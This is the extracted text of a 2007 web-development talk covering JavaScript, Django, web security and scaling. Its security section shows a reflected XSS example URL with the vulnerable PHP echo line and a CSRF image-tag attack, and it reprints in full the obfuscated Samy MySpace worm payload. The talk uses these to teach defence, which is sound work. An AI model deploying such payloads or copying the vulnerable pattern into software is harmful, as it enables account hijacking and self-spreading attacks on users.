how to build the web

How to build the WebSimon Willison

30th November 2007

This talk

• Modern client-side engineering

• Server-side engineering and web frameworks

• Web application security

• Building sites that scale

What to build How to build it

Client-sideengineering

Server-sideengineering

Product design

Information architecture

User experience

Social software design

Usability

Marketing

...

Browsers!

Servers!

Client-side engineering

The great myth of client-side development

“It’s way easier than server-side development - after all, it’s just HTML”

That’s hogwash

“Yahoo! Juku is a comprehensive, 3-6 month program to train professional front end developers. The curriculum includes advanced topics in JavaScript, DOM, HTML, CSS, YUI, performance, and accessibility.

Why train raw recruits to this degree? Well, in the San Francisco Bay Area, including the Silicon Valley, it’s hard-as-heck to find good front end programmers and web designers.”

http://developer.yahoo.net/blog/archives/2007/11/the_harvard_of.html



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Quines

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PolyglotsC

PerlPascal

FortranCOBOL

PostScriptbash/sh/csh

x86 assembler

http://ideology.com.au/polyglot/



Rendering engines

Rendering engines

Opera desktopOpera mobileNintendo WiiNintendo DS

SafariiPhone

Nokia Series 60Google Android

FirefoxIce weaselCaminoGalleon

Sadly still 85%of the market

IE is the problem child• Microsoft simply stopped updating it once

they had won the browser wars... IE 6 came out in 2001!

• Still has shaky support for CSS 2.1

• Many JavaScript APIs developed before standards even existed

• Requires a disproportionate amount of development time

• Status of IE 8 is uncertain

Recommendations

• Develop to the standards using Firefox

• The cases where IE deviates from the standards are relatively well understood, and can usually be worked around

• Avoid CSS hacks; conditional comments are your friend

Accessibility• Assistive technology thrives on semantic HTML

• <label> elements for forms

• <h1>...<h6> headers for structure

• Avoiding tables for layout

• Watch a video of a screen reader user; they may well browse faster than you do

• Accessibility is much more than just screen readers - colour blindness, motor disorders, learning disabilities, even just poor eyesite

JavaScript

“JavaScript was a rushed little hack for Netscape 2 that was then frozen prematurely

during the browser wars, and evolved significantly only once by ECMA. So its early

flaws were never fixed, and worse, no virtuous cycle of fine-grained community

feedback [...] ever occurred.”

-Brendan Eich

But despite that...

• JavaScript is actually a really neat little language

• Functions are first-class objects

• Lexical closures

• Objects are hash tables

• If you take the time to learn it, it will repay you handsomely

February 2005

AJAX v.s. Ajax

“Asynchronous JavaScript + XML”

AJAX v.s. Ajax

“Asynchronous JavaScript + XML”

“Any technique that allows the client to retrieve more data

from the server without reloading the

whole page”

• JavaScript isn't always available

• Security conscious organisations (and users) sometimes disable it

• Some devices may not support it (mobile phones for example)

• Assistive technologies (screen readers) may not play well with it

• Search engine crawlers won't execute it

• Unobtrusive: stuff still works without it!

Unobtrusive JavaScript

• Start with solid markup

• Use CSS to make it look good

• Use JavaScript to enhance the usability of the page

• The content remains accessible no matter what

Progressive enhancement

Unobtrusive examples

• One of the earliest examples of this technique, created by Aaron Boodman (now of Greasemonkey and Google Gears fame)

labels.js

• Once the page has loaded, the JavaScript:

• Finds any label elements linked to a text field

• Moves their text in to the associated text field

• Removes them from the DOM

• Sets up the event handlers to remove the descriptive text when the field is focused

• Clean, simple, reusable

<label for="search">Search</label><input type="text" id="search" name="q">

How it works

• An unobtrusive technique for revealing panels when links are clicked

<ul> <li><a href="#panel1" class="toggle">Panel 1</a></li> <li><a href="#panel2" class="toggle">Panel 2</a></li> <li><a href="#panel3" class="toggle">Panel 3</a></li></ul>

<div id="panel1">...</div><div id="panel2">...</div><div id="panel3">...</div>

easytoggle.js

• When the page has loaded...

• Find all links with class="toggle" that reference an internal anchor

• Collect the elements that are referenced by those anchors

• Hide all but the first

• Set up event handlers to reveal different panels when a link is clicked

• Without JavaScript, links still jump to the right point

How it works

• Large multi-select boxes aren't much fun

• Painful to scroll through

• Easy to lose track of what you have selected

• Django's admin interface uses unobtrusive JavaScript to improve the usability here

Django filter lists

• Ajax is often used to avoid page refreshes

• So...

• Write an app that uses full page refreshes

• Use unobtrusive JS to "hijack" links and form buttons and use Ajax instead

• Jeremy Keith coined the term "Hijax" to describe this

JavaScript libraries

“The bad news: JavaScript is broken.

The good news:It can be fixed with more JavaScript!”

- Geek folk saying

Main contenders

• Prototype

• The Yahoo! User Interface Library

• The Dojo Toolkit

• jQuery

• It’s worth evaluating these in detail, but if you only have time to learn one...

The short answer: use jQuery

Client-side performance

• Relatively new field, pioneered by the performance team at Yahoo!

• A few simple changes can make a huge difference to perceived loading times

• Example tip: serve your static files (CSS, images etc) from a separate domain - that way the cookies from your regular domain won’t slow down the requests

Server-side engineering

URL design

(Yes, I should probably be calling them URIs)

Bad URLsexample.com/index.html

example.com/article.php?sectionId=2343&contentId=638

example.com/blog/2007/December.aspx

www.amazon.com/dp/0596516177?tag=davidflanagancom&camp=14573&creative=327641&linkCode=as1&creativeASIN=0596516177&adid=165MWWERY4H71AJERGNZ&

• Unnecessary filenames

• Expose implementation details

• Overly complex

http://www.amazon.com/dp/0596516177?tag=davidflanagancom&camp=14573&creative=327641&linkCode=as1&creativeASIN=0596516177&adid=165MWWERY4H71AJERGNZ&






Characteristics ofgood URLs

• “Cool URIs don’t change”

• Guessable

• Hackable

• Readable over the phone

• Reflects the hierarchy of the site and its data

A good URL

• simonwillison.net/2007/Nov/27/thumbnail/

• Short, hackable, no implementation exposed

• No matter what you’re building, including the year can be really useful in allowing you to change your opinion on your URLs later on without breaking old links

http://simonwillison.net/2007/Nov/27/thumbnail/

http://simonwillison.net/2007/Nov/27/thumbnail/

The Open Source stack

• The only option I would consider

• Open source means:

• Zero vendor lock-in; many open-source components are interchangeable

• Better support (fix it yourself, or pay someone smart to fix it for you)

• Less bugs and better quality code

Dynamic languages

http://xkcd.com/303/



Dynamic languages

• Social applications in particular are almost impossible to get right first time

• Development only really starts after you’ve launched something and seen what people use it for

• Speed and flexibility of development are critical

• Dynamic languages let you get more done with less lines of code (which means less bugs)

LAMP

• Linux

• Apache

• MySQL

• PHP/Perl/Python

LAMP, evolved

• Linux / FreeBSD / Solaris

• Apache / Lighttpd / nginx / ...

• MySQL / PostgreSQL

• PHP/Perl/Python / Ruby

Web frameworks

• Ruby: Ruby on Rails

• Python: Django, Pylons, TurboGears

• PHP: Symfony, CakePHP, Zend Framework

• Perl: Catalyst, Maypole

Django

Lawrence, Kansas - 2003

• Two developers

• Two designers

• Around a dozen editorial staff

How do you build a site like lawrence.com?

• Interns - unpaid labour!

• A big relational database

• Newspaper people are baffled by these...

• ... so you need a good interface for it

• And as many development shortcuts as possible

Characteristics

• Clean URLs

• Loosely coupled components

• Designer-friendly templates

• Less code

• The “good bits” from PHP

The Django stack

• HTTP handling

• Models (an ORM)

• Views

• Templates

• Extras

• Admin, RSS framework, generic views...

The Django workflow

• Build the models

• Instant admin! Content people can start adding data

• Writing the views

• Throw the templates to the designers

Open source Django

• Django has been open-source since mid-2005

• The newspaper has been able to hire excellent developers from the community

• The newspaper CMS is sold as Ellington; one of the features is that you can hire your own Django developers to modify it

• Django has been hugely improved by contributions from outside the newspaper

www.djangosites.org

http://www.djangoproject.com


www.djangoproject.com



Don’t Repeat Yourself

All frameworks provide:

• A recommended way of laying out code

• Separation of application and presentation logic using a template system

• An ORM, to reduce the amount of code needed to talk to a database

• Reusable components for common tasks

Security

Three key attacks

• SQL injection

• XSS (cross-site scripting)

• CSRF (cross-site request forgery)

SQL injection

• SQL injection is inexcusable

• If the environment you are using doesn’t protect against this for you (through parameterised queries), use a different tool

• The most common security hole on the web

http://example.com/search?q=<script>alert("hello");</script>

You searched for <?php echo $_GET['q']; ?>

• Massive security hole!

Cross-site scripting

http://example.com/search?q=

http://example.com/search?q=

XSS attackers can...

• Replace your logo with something obscene

• Steal your user’s authentication cookies

• Re-target login forms to point to a password stealing script

• Perform any action that the user is allowed to perform themselves

• Create self-propagating worms

samy is my herohttp://namb.la/popular/ http://namb.la/popular/tech.html

http://namb.la/popular/

http://namb.la/popular/

http://namb.la/popular/tech.html

http://namb.la/popular/tech.html

<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

http://www.myspace.com

http://www.myspace.com

HTML is dangerous

• It’s best not to allow un-trusted users to submit HTML at all

• If you let them submit HTML, you’ll need an industrial grade HTML parser (which emulates browsers, not just the HTML spec) and a very restrictive whitelist

• CSS can include JavaScript, and even regular CSS positioning can be used for phishing

CSRF

• Much less widely understood than XSS...

• ... but almost certainly more common

• Cross-site request forgery attacks allow attackers to force your users to take actions on your site that they didn’t mean to take

• <img src="http://example.com/admin/delete.php?id=5">

• Not just GET; hidden forms allow POST as well

http://example.com/admin/delete.php?id=5

http://example.com/admin/delete.php?id=5

Defence against CSRF

• You need to know if the form that is being submitted is one that you served up from your own site (as opposed to an evil form created by an attacker)

• Include a hidden form field with a token generated by your site and associated with the logged in user in a non-predictable way

Building sites that scale

Scalability is not performance

Scalability is not performance

Scalable systems increase their performance as new hardware is added, proportional to

the hardware’s capacity

Vertical v.s. horizontal

• Vertical scaling: buy a bigger machine

• More RAM

• More CPU(s)

• “Big iron” costing $100,000+

• Horizontal scaling: buy more machines

• Almost always better than vertical scaling

• But... software must be designed to scale out

“Premature optimisation is the

root of all evil”- Tony Hoare and

Donald Knuth

http://blog.ilike.com/ilike_team_blog/2007/06/holy_cow_6mm_us.html



“Shared nothing”

• Rasmus Lerdorf, the creator of PHP, describes this as a key principle of scaling

• Application servers (web servers running PHP) have no shared state - everything stateful is pushed out to the database layer

• This lets you trivially horizontally scale your application servers behind a load balancer

• Now you just have to scale the data layer...

Four steps to building a scalable data layer

• Add caching

• De-normalise where necessary

• Add database replication

• Add sharding

Caching• You could cache to disk or shared memory...

• ... but you’re better off using memcached

• Distributed key/value in-memory caching system, first developed for LiveJournal

• Facebook, YouTube, Wikipedia, Flickr...obj = memcache.get(obj_id)if not obj: obj = construct_obj_from_database(obj_id) memcache.put(obj_id, obj)return obj

“Normalised datais for sissies”

Cal Henderson, Flickr

• You can get a major speed-up by duplicating some data (e.g. counts) in your database

• Your application logic will need to keep everything in sync

Replication

• Master-slave replication lets you set up copies of the database to accelerate reads

Master

SlaveSlaveSlave

Reads spread across all slaves

Writes all goto master

Replication• Master-master replication provides redundant

masters, but doesn’t really improve write performance (both still have to make the same number of writes)

Master

SlaveSlaveSlave

Reads spread across all slaves

Writes all goto masters

Master

Sharding• Sometimes known as federation

• Users 1-1000 are on database A, 1000-2000 are on database B...

• Often requires a large scale re-write of the system

• Much harder to do in social applications where relationships span multiple databases

• WordPress MU is an interesting case-study

Scalable business models

• Scaling gets a lot easier if you build it in to your business model

• 37signals products (Basecamp, Highrise) shard naturally based on individual customer accounts - and more customers means more money for servers

• Second Life shards by land area, and land has to be bought by users - they’re essentially a 3D web hosting company

Build it on Amazon

• S3 - Simple Storage Service

• Cheap, robust key-value storage of both small and large files

• EC2 - Elastic Compute Cloud

• On-demand instant virtual servers, billed by the hour

• SQS - Simple Queue Service

Thank you!

how to build the web

Technology

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